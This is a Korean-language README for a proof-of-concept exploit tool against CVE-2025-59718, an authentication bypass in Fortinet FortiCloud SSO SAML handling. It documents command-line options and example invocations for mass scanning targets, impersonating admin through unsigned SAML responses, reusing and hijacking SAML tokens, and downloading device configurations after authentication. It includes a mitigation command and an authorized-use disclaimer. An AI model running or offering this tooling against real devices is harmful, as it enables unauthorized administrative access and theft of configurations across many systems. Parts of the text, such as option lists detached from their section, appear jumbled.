
Fortinet이 2025년 12월 9일에 밀접하게 연관된 두 가지 인증 우회 취약점을 발표했습니다. 두 결함 모두 FortiCloud SSO 로그인 기능의 SAML 응답 처리 과정에서 암호화 서명(CWE-347)의 부적절한 검증과 관련되어 있습니다.
이 도구는 CVE-2025-59718에 대한 개념 증명(PoC) 익스플로잇 스크립트입니다. CVE-2025-59718은 Fortinet 제품(FortiOS, FortiProxy, FortiSwitchManager 등)에서 FortiCloud SSO를 위한 SAML 메시지의 암호화 서명 검증이 부적절하여 발생하는 치명적인 인증 우회 취약점입니다. 이 취약점으로 인해 인증되지 않은 원격 공격자가 서명되지 않은 SAML 응답을 제작 및 전송하여 인증을 우회하고 관리자 권한을 획득할 수 있습니다.
중요 사항: 이 스크립트는 교육, 연구 및 승인된 테스트 목적으로만 사용해야 합니다. 명시적 허가 없이 시스템에 무단으로 사용하는 것은 불법이며 비윤리적입니다. 항상 관련 법률을 준수하고 적절한 승인을 받은 후 테스트하십시오.
이 스크립트는 단일 또는 대량 대상 스캔, 선택적 프록시 사용, SAML 토큰 재사용 및 세션 하이재킹 시뮬레이션, 구성 파일 다운로드와 같은 인증 후 작업을 지원합니다. 효율성을 위해 멀티스레딩을 사용하고 결과를 파일에 기록하여 분석합니다.
config system global
set admin-forticloud-sso-login disable
end
pip을 통해 설치:
pip install requests argparse
exploit.py).pip install -r requirements.txt
requirements.txt 파일을 생성하여 requests 및 argparse를 포함시킵니다.)chmod +x exploit.py
Python으로 스크립트를 실행합니다:
python exploit.py [options]
--target <IP/hostname>: 스캔할 단일 대상(예: 192.168.1.1 또는 example.com)--targets <쉼표로 구분된 목록>: 여러 대상(예: 192.168.1.1,example.com)--file <경로>: 한 줄에 하나의 대상이 있는 파일--username <이름>: SAML 페이로드에서 가장할 사용자 이름(기본값: admin)--endpoint <경로>: SAML 로그인 엔드포인트(기본값: /remote/saml/login)--max-threads <int>: 최대 동시 스레드 수(기본값: 10, 권장 최대: 50)--saml-token <토큰>: 재사용/하이재킹을 위한 Base64로 인코딩된 SAML 토큰(선택 사항)--proxy <url>: 프록시 URL(예: )참고: 대상 옵션이 제공되지 않으면 스크립트는 오류와 함께 종료됩니다.
단일 대상 스캔:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
로컬 프록시를 통해 단일 장치를 스캔하며 admin으로 가장합니다.
목록에서 대량 스캔:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
여러 대상을 병렬로 스캔하고 성공 시 구성 다운로드를 활성화합니다.
토큰 재사용을 사용한 파일 기반 스캔:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
targets.txt의 대상을 처리하고 토큰 재사용/하이재킹을 시도합니다.
비대화형 전체 스캔:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
사용자 정의 사용자 이름, 높은 스레드 수, 구성 다운로드, 사용자 정의 출력 파일.
/api/v2/monitor/system/config/backup을 통해 구성을 다운로드합니다.예제 CSV 행:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy를 사용하십시오.requests와 argparse가 설치되었는지 확인하십시오.--max-threads를 줄이십시오.이것은 PoC입니다. 개선 사항(예: 더 나은 탐지, 추가 기능)에 대한 기여는 풀 리퀘스트를 통해 환영합니다. 안전과 윤리에 중점을 두십시오.
마지막 업데이트: 2025년 12월 22일
http://127.0.0.1:8080--post-auth-config: 인증 후 구성 다운로드 활성화(플래그, 기본적으로 비활성화)--vulnerable-file <경로>: 취약한 대상을 저장할 파일(기본값: vulnerable_targets.txt)--output-file <경로>: 공격 보고서를 위한 CSV 파일(기본값: attack_report.csv)